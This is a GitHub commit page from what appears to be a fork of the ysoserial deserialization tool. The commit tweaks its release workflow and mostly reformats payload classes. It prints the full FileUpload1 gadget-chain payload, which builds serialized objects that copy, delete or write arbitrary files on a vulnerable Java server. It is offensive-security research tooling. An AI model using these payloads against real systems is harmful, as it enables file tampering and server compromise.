Skip to content

Commit d9c2d6c

Browse files
committed
优化publish.yml
fix up
1 parent c672765 commit d9c2d6c

4 files changed

Lines changed: 33 additions & 36 deletions

File tree

.github/workflows/publish.yml

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@ name: publish jar
22
on:
33
push:
44
tags:
5-
- "v*.*.*"
5+
- "v*"
66
permissions:
77
contents: write
88

@@ -22,7 +22,7 @@ jobs:
2222
- name: Set version
2323
run: mvn versions:set -DnewVersion=${{ github.ref_name }}
2424
- name: Build jar
25-
run: mvn -B clean package -DskipTests
25+
run: mvn -B clean package -DskipTests
2626
# - name: publish maven jar
2727
# run: mvn -B deploy -DskipTests -DrepositoryId=github
2828
env:
@@ -35,6 +35,6 @@ jobs:
3535
- name: Publish GitHub release
3636
uses: softprops/action-gh-release@v1
3737
env:
38-
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
38+
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
3939
with:
40-
files: target/ysoserial-all.jar
40+
files: target/ysoserial-all.jar

src/main/java/ysoserial/payloads/CommonsCollections9.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -17,7 +17,7 @@
1717

1818
@Dependencies({"commons-collections:commons-collections:3.1"})
1919
public class CommonsCollections9 extends PayloadRunner implements ObjectPayload<Serializable> {
20-
// 序列化就报错,未成功
20+
2121
@Override
2222
public BadAttributeValueExpException getObject(String command) throws Exception {
2323
final String[] execArgs = new String[]{command};

src/main/java/ysoserial/payloads/FileUpload1.java

Lines changed: 27 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -22,85 +22,82 @@
2222
/**
2323
* Gadget chain:
2424
* DiskFileItem.readObject()
25-
*
25+
* <p>
2626
* Arguments:
2727
* - copyAndDelete;sourceFile;destDir
2828
* - write;destDir;ascii-data
2929
* - writeB64;destDir;base64-data
3030
* - writeOld;destFile;ascii-data
3131
* - writeOldB64;destFile;base64-data
32-
*
32+
* <p>
3333
* Yields:
3434
* - copy an arbitraty file to an arbitrary directory (source file is deleted if possible)
3535
* - pre 1.3.1 (+ old JRE): write data to an arbitrary file
3636
* - 1.3.1+: write data to a more or less random file in an arbitrary directory
3737
*
3838
* @author mbechler
3939
*/
40-
@Dependencies ( {
40+
@Dependencies({
4141
"commons-fileupload:commons-fileupload:1.3.1",
4242
"commons-io:commons-io:2.4"
43-
} )
44-
@PayloadTest(harness="ysoserial.test.payloads.FileUploadTest", precondition = "isApplicableJavaVersion", flaky = "possible race condition")
45-
@Authors({ Authors.MBECHLER })
43+
})
44+
@PayloadTest(harness = "ysoserial.test.payloads.FileUploadTest", precondition = "isApplicableJavaVersion", flaky =
45+
"possible race condition")
46+
@Authors({Authors.MBECHLER})
4647
public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem> {
4748
public static boolean isApplicableJavaVersion() {
4849
return JavaVersion.isAtLeast(7);
4950
}
5051

51-
public DiskFileItem getObject ( String command ) throws Exception {
52+
public DiskFileItem getObject(String command) throws Exception {
5253

5354
String[] parts = command.split(";");
5455

55-
if ( parts.length == 3 && "copyAndDelete".equals(parts[ 0 ]) ) {
56-
return copyAndDelete(parts[ 1 ], parts[ 2 ]);
57-
}
58-
else if ( parts.length == 3 && "write".equals(parts[ 0 ]) ) {
59-
return write(parts[ 1 ], parts[ 2 ].getBytes("US-ASCII"));
60-
}
61-
else if ( parts.length == 3 && "writeB64".equals(parts[ 0 ]) ) {
62-
return write(parts[ 1 ], Base64.decodeBase64(parts[ 2 ]));
63-
}
64-
else if ( parts.length == 3 && "writeOld".equals(parts[ 0 ]) ) {
65-
return writePre131(parts[ 1 ], parts[ 2 ].getBytes("US-ASCII"));
66-
}
67-
else if ( parts.length == 3 && "writeOldB64".equals(parts[ 0 ]) ) {
68-
return writePre131(parts[ 1 ], Base64.decodeBase64(parts[ 2 ]));
69-
}
70-
else {
56+
if (parts.length == 3 && "copyAndDelete".equals(parts[0])) {
57+
return copyAndDelete(parts[1], parts[2]);
58+
} else if (parts.length == 3 && "write".equals(parts[0])) {
59+
return write(parts[1], parts[2].getBytes("US-ASCII"));
60+
} else if (parts.length == 3 && "writeB64".equals(parts[0])) {
61+
return write(parts[1], Base64.decodeBase64(parts[2]));
62+
} else if (parts.length == 3 && "writeOld".equals(parts[0])) {
63+
return writePre131(parts[1], parts[2].getBytes("US-ASCII"));
64+
} else if (parts.length == 3 && "writeOldB64".equals(parts[0])) {
65+
return writePre131(parts[1], Base64.decodeBase64(parts[2]));
66+
} else {
7167
throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts));
7268
}
7369
}
7470

7571

76-
public void release ( DiskFileItem obj ) throws Exception {
72+
public void release(DiskFileItem obj) throws Exception {
7773
// otherwise the finalizer deletes the file
7874
DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null);
7975
Reflections.setFieldValue(obj, "dfos", dfos);
8076
}
8177

82-
private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception {
78+
private static DiskFileItem copyAndDelete(String copyAndDelete, String copyTo) throws IOException, Exception {
8379
return makePayload(0, copyTo, copyAndDelete, new byte[1]);
8480
}
8581

8682

8783
// writes data to a random filename (update_<per JVM random UUID>_<COUNTER>.tmp)
88-
private static DiskFileItem write ( String dir, byte[] data ) throws IOException, Exception {
84+
private static DiskFileItem write(String dir, byte[] data) throws IOException, Exception {
8985
return makePayload(data.length + 1, dir, dir + "/whatever", data);
9086
}
9187

9288

9389
// writes data to an arbitrary file
94-
private static DiskFileItem writePre131 ( String file, byte[] data ) throws IOException, Exception {
90+
private static DiskFileItem writePre131(String file, byte[] data) throws IOException, Exception {
9591
return makePayload(data.length + 1, file + "\0", file, data);
9692
}
9793

9894

99-
private static DiskFileItem makePayload ( int thresh, String repoPath, String filePath, byte[] data ) throws IOException, Exception {
95+
private static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws IOException, Exception {
10096
// if thresh < written length, delete outputFile after copying to repository temp file
10197
// otherwise write the contents to repository temp file
10298
File repository = new File(repoPath);
103-
DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository);
99+
DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000,
100+
repository);
104101
File outputFile = new File(filePath);
105102
DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);
106103
OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream");
@@ -112,7 +109,7 @@ private static DiskFileItem makePayload ( int thresh, String repoPath, String fi
112109
}
113110

114111

115-
public static void main ( final String[] args ) throws Exception {
112+
public static void main(final String[] args) throws Exception {
116113
PayloadRunner.run(FileUpload1.class, args);
117114
}
118115

src/main/java/ysoserial/payloads/Hibernate1.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -43,7 +43,7 @@
4343
*/
4444
@Authors({ Authors.MBECHLER })
4545
@PayloadTest(precondition = "isApplicableJavaVersion")
46-
public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies {
46+
public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies {
4747
public static boolean isApplicableJavaVersion() {
4848
return JavaVersion.isAtLeast(7);
4949
}

0 commit comments

Comments
 (0)